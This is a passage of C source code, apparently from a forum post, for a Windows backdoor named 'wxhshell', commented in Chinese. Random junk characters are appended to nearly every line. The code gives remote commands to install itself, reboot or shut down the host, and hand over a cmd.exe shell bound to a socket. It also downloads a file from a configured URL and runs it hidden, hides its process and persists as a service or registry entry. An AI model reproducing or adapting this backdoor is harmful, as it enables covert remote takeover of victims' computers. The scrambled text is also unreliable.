  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V3aY]#Su  
  } a,en8+r ]  
  else { Y/QK+UMW*  
Y- z~#;  
    switch(cmd[0]) { .H*? '*  
  4nX'a*'D~}  
  // 帮助 A- <.#  
  case '?': { WV9[DFU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d %F/,c-=  
    break; [ni-UNTv  
  } @ y&h4^)z  
  // 安装 #d7)$ub  
  case 'i': { zIX}[l4EW~  
    if(Install()) 8' WLm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  |V*e2w  
    else )wyu+_:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N^@%qUvT]  
    break; ur,V>J<5A  
    } gK]T}  
  // 卸载 'Q^G6'(SaK  
  case 'r': { 4AG&z,[  
    if(Uninstall()) [qc6Q:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z{<q0.^EFh  
    else Lx4H/[$6D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :$)aMEq  
    break; o =jX  
    } 5VY%o8xXa  
  // 显示 wxhshell 所在路径 -NI@xJO4(;  
  case 'p': { Y6[]wUJ  
    char svExeFile[MAX_PATH]; DU*Hnii  
    strcpy(svExeFile,"\n\r"); exa}dh/uC  
      strcat(svExeFile,ExeFile); j[Hg]  
        send(wsh,svExeFile,strlen(svExeFile),0); DVeF(Y3&  
    break; Bk@_]a  
    } $P1d#;rb%  
  // 重启 -v/?>  
  case 'b': { }&'yt97+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |\{J` 5gr  
    if(Boot(REBOOT)) A=l?IC@O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AH ?MJKY@Z  
    else { Z:}2F^6  
    closesocket(wsh); ]2u7?l  
    ExitThread(0); '<U[;H9\  
    } !E(J ]a  
    break; ] "7El;2z  
    } =r@ie>* U  
  // 关机 6.(]}?g1f  
  case 'd': { a'L7y%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dnhpWV hn  
    if(Boot(SHUTDOWN)) :7'0:'0$t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j+ T\c2d  
    else { bx'B;rZr  
    closesocket(wsh); LXOF{FG  
    ExitThread(0); +eVpMD( l  
    } 3mnLV*aRt  
    break; J>&dWKM3  
    } d&3I>E$UP  
  // 获取shell +O%a:d%  
  case 's': { Qr xO erp  
    CmdShell(wsh); yp7,^l  
    closesocket(wsh); Phjf$\pt  
    ExitThread(0); |7 W6I$Xl  
    break; >O[^\H!\  
  } >goAf`sqo  
  // 退出 #|2g{7 g*  
  case 'x': { qoyGs}/I8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g^|_X1{  
    CloseIt(wsh); SJY"]7  
    break; 1tK6lrhj  
    } d#$i/&gE  
  // 离开 FCw VVF0 y  
  case 'q': { 2* cKFv{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WLA_YMlA  
    closesocket(wsh); RdpQJ)3F  
    WSACleanup(); 19.!$;  
    exit(1); =,1zl}PR  
    break; }j5@\c48  
        } I(r5\A=   
  } ~(L<uFU V  
  } F b`7 aFIf  
aWi]t'_  
  // 提示信息 IBsO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ob()+p.kK  
} OAQ O J'  
  } N"Nd$4  
P^W$qy|  
  return; Q(eQZx{  
} 5;uX"z G  
^[,1+WS%  
// shell模块句柄 E`LIENm  
int CmdShell(SOCKET sock) GA*Khqdid  
{ & ;x1Rx  
STARTUPINFO si; &|,qsDK(  
ZeroMemory(&si,sizeof(si)); OEqe^``!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4~J1pcBno%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QSQ\@h;E  
PROCESS_INFORMATION ProcessInfo; JT+lWhy  
char cmdline[]="cmd"; $1`t+0^k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lKD<  
  return 0; mf_ 9O  
} L.~]qs|G/K  
7D1`^,?  
// 自身启动模式 X0J]6|du.  
int StartFromService(void) TuhL :  
{ j~<iTLM  
typedef struct 4)S?Y"Bs  
{ x>/@Z6Wxz  
  DWORD ExitStatus; ~$`YzK^*X  
  DWORD PebBaseAddress; p!5JO4F$  
  DWORD AffinityMask; OKH~Y-%<  
  DWORD BasePriority; InGbV+ I  
  ULONG UniqueProcessId; lb XkZ,  
  ULONG InheritedFromUniqueProcessId; qSs^}eN  
}   PROCESS_BASIC_INFORMATION; rcb/X`l=  
rG'k<X~7  
PROCNTQSIP NtQueryInformationProcess; ?z36mj"`o  
+c2=*IA/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Woy[V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ##\ZuJ^-  
+_K;Pj]x  
  HANDLE             hProcess; MnsWB[  
  PROCESS_BASIC_INFORMATION pbi; v-]-wNqT  
rsj}hS$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]m,p3  
  if(NULL == hInst ) return 0; a-A4xL.gm  
h]z|OhG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {xx;zjt%}}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SNV+.xN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gKH"f%lK  
GHrT?zEX  
  if (!NtQueryInformationProcess) return 0; z Clm'X/  
S:T>oFUot  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Hu!>RSg,,2  
  if(!hProcess) return 0; 7)X&fV6<8  
Q`fA)6U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bc ,z]  
!6`nN1A  
  CloseHandle(hProcess); a5+v)F/=  
?26[%%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3cQmxp2*  
if(hProcess==NULL) return 0; EJ|ZZYke!  
tQ<2K*3]  
HMODULE hMod; ATkqzE`;  
char procName[255]; Sgk{NM7|k  
unsigned long cbNeeded; %R5MAs&-5  
DY27'`n6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uy%PTi+A  
-5B([jHgR  
  CloseHandle(hProcess); 43]&SXprH  
oU6g5  
if(strstr(procName,"services")) return 1; // 以服务启动 K&oO+G^f  
K%@SS8!oy  
  return 0; // 注册表启动 f3&//h8  
} +f~3FXM  
^]K)V  
// 主模块 zL{@LHP  
int StartWxhshell(LPSTR lpCmdLine) g5'bUYsa  
{ yc}t(*A5  
  SOCKET wsl; AR2+W^aM3  
BOOL val=TRUE; cLF>Jvs*J  
  int port=0; J(*"S!q)6  
  struct sockaddr_in door; jpS#'h  
=!Cvu.~},  
  if(wscfg.ws_autoins) Install(); `Hu ;Gdj=  
;]ew>P)  
port=atoi(lpCmdLine); !ry+ r!"  
PQ|x?98  
if(port<=0) port=wscfg.ws_port; :G)x+0u  
No+zw%l0E  
  WSADATA data; $h f\ #'J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Nd)o1 {I  
?*dx=UI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HAdm,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =ZL2 0<TeH  
  door.sin_family = AF_INET; XV!EjD~q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j<5R$^?U  
  door.sin_port = htons(port); sZ$ ~abX  
8=Ht+Br  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \OB3gnR  
closesocket(wsl);  X;g|-<  
return 1; v2g+o KO]  
} tr+~@]I+  
~+ur*3X  
  if(listen(wsl,2) == INVALID_SOCKET) { /PS]AM  
closesocket(wsl); 0:S)2"I58p  
return 1; j+_75t`AZ  
} Un+Jz ?Y  
  Wxhshell(wsl); r4zS,J;,  
  WSACleanup(); GT0'bge  
+?'acn  
return 0; v#G ^W  
$cCB%}  
} a#$%xw  
'IszS!kY  
// 以NT服务方式启动 mY9K)]8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HN)QS5  
{ >{8H==P  
DWORD   status = 0; 3 g&mND  
  DWORD   specificError = 0xfffffff; rKq]zHgpo  
zD|W3hL2&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4'*K\Ul).H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [Xg"B|FD0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~:Nyv+g,$  
  serviceStatus.dwWin32ExitCode     = 0; 3~'F^=T.Y  
  serviceStatus.dwServiceSpecificExitCode = 0; XCoOs<O:@  
  serviceStatus.dwCheckPoint       = 0; &GAx*.L  
  serviceStatus.dwWaitHint       = 0; aKZD4;  
Aed"J5[a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {F[Xe_=#"  
  if (hServiceStatusHandle==0) return; %m`QnRX?D  
vA`.8U 0S  
status = GetLastError(); QkAwG[4  
  if (status!=NO_ERROR) \x}UjHYIc&  
{ GC2<K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :gC2zv  
    serviceStatus.dwCheckPoint       = 0; 5#PhaVc  
    serviceStatus.dwWaitHint       = 0; m+ YgfR  
    serviceStatus.dwWin32ExitCode     = status; ]y e &#  
    serviceStatus.dwServiceSpecificExitCode = specificError; J>Ha$1}u/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f|)t[,c  
    return; r G6/h'!|  
  } 03T.Owd  
$Tza<nA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /|f]L9)2<  
  serviceStatus.dwCheckPoint       = 0; e^TF.D?RS  
  serviceStatus.dwWaitHint       = 0; +V^_ksi\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6iC:l%|u  
} h'+ swPh  
i :72FVo  
// 处理NT服务事件,比如:启动、停止 8!fw Xm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,5 ,4Qf7  
{ Tc :`TE=2  
switch(fdwControl) &2J|v#$F  
{ :W"ITY(  
case SERVICE_CONTROL_STOP: 2)YLs5>W%  
  serviceStatus.dwWin32ExitCode = 0; 5**xU+&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ua-p^X`w  
  serviceStatus.dwCheckPoint   = 0; y C#{nUdw  
  serviceStatus.dwWaitHint     = 0; 511q\w M  
  { I6_+3}Hm{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oxZ(qfjS  
  } ~c"c9s+o  
  return; sBMHf9u  
case SERVICE_CONTROL_PAUSE: ej `$-hBBV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t~Ax#H  
  break; &XP 0  
case SERVICE_CONTROL_CONTINUE: kCV OeXv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DQd&:J@?  
  break; 8*X8U:.0o  
case SERVICE_CONTROL_INTERROGATE: K"61i:F  
  break; ececN{U/  
}; =*I9qjla[?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +]X^bB[  
} QG.FW;/L,  
HO>uS>+  
// 标准应用程序主函数 9viC3bj.o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "rtmDNpL  
{ 5h&8!!$[  
;A_QI>>  
// 获取操作系统版本  <_~`)t  
OsIsNt=GetOsVer(); cl:YN]BK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &x3y.}1  
x8[8z^BV?e  
  // 从命令行安装 pH%K4bV)8  
  if(strpbrk(lpCmdLine,"iI")) Install(); gd*\,P  
!TcjB;q'  
  // 下载执行文件 "F&uk~ b$  
if(wscfg.ws_downexe) { 827N?pU$)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o,L!F`W  
  WinExec(wscfg.ws_filenam,SW_HIDE); {sLh=iK  
} he,T\ };  
\;]~K6=  
if(!OsIsNt) { JG `QJ%  
// 如果时win9x,隐藏进程并且设置为注册表启动 3c)LBM  
HideProc(); _z;N|Xe  
StartWxhshell(lpCmdLine); @4pN4v8U  
} chy7hPxC;  
else 0(n/hJ  
  if(StartFromService()) btOC\bUMfD  
  // 以服务方式启动 N^ )OlH  
  StartServiceCtrlDispatcher(DispatchTable); ZHT.+X:_  
else &^Io\  
  // 普通方式启动 H5n" !!  
  StartWxhshell(lpCmdLine); ][Kj^7/  
pVr,WTr6E  
return 0; fqi5 84  
}
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只看该作者 1 发表于: 2006-10-10
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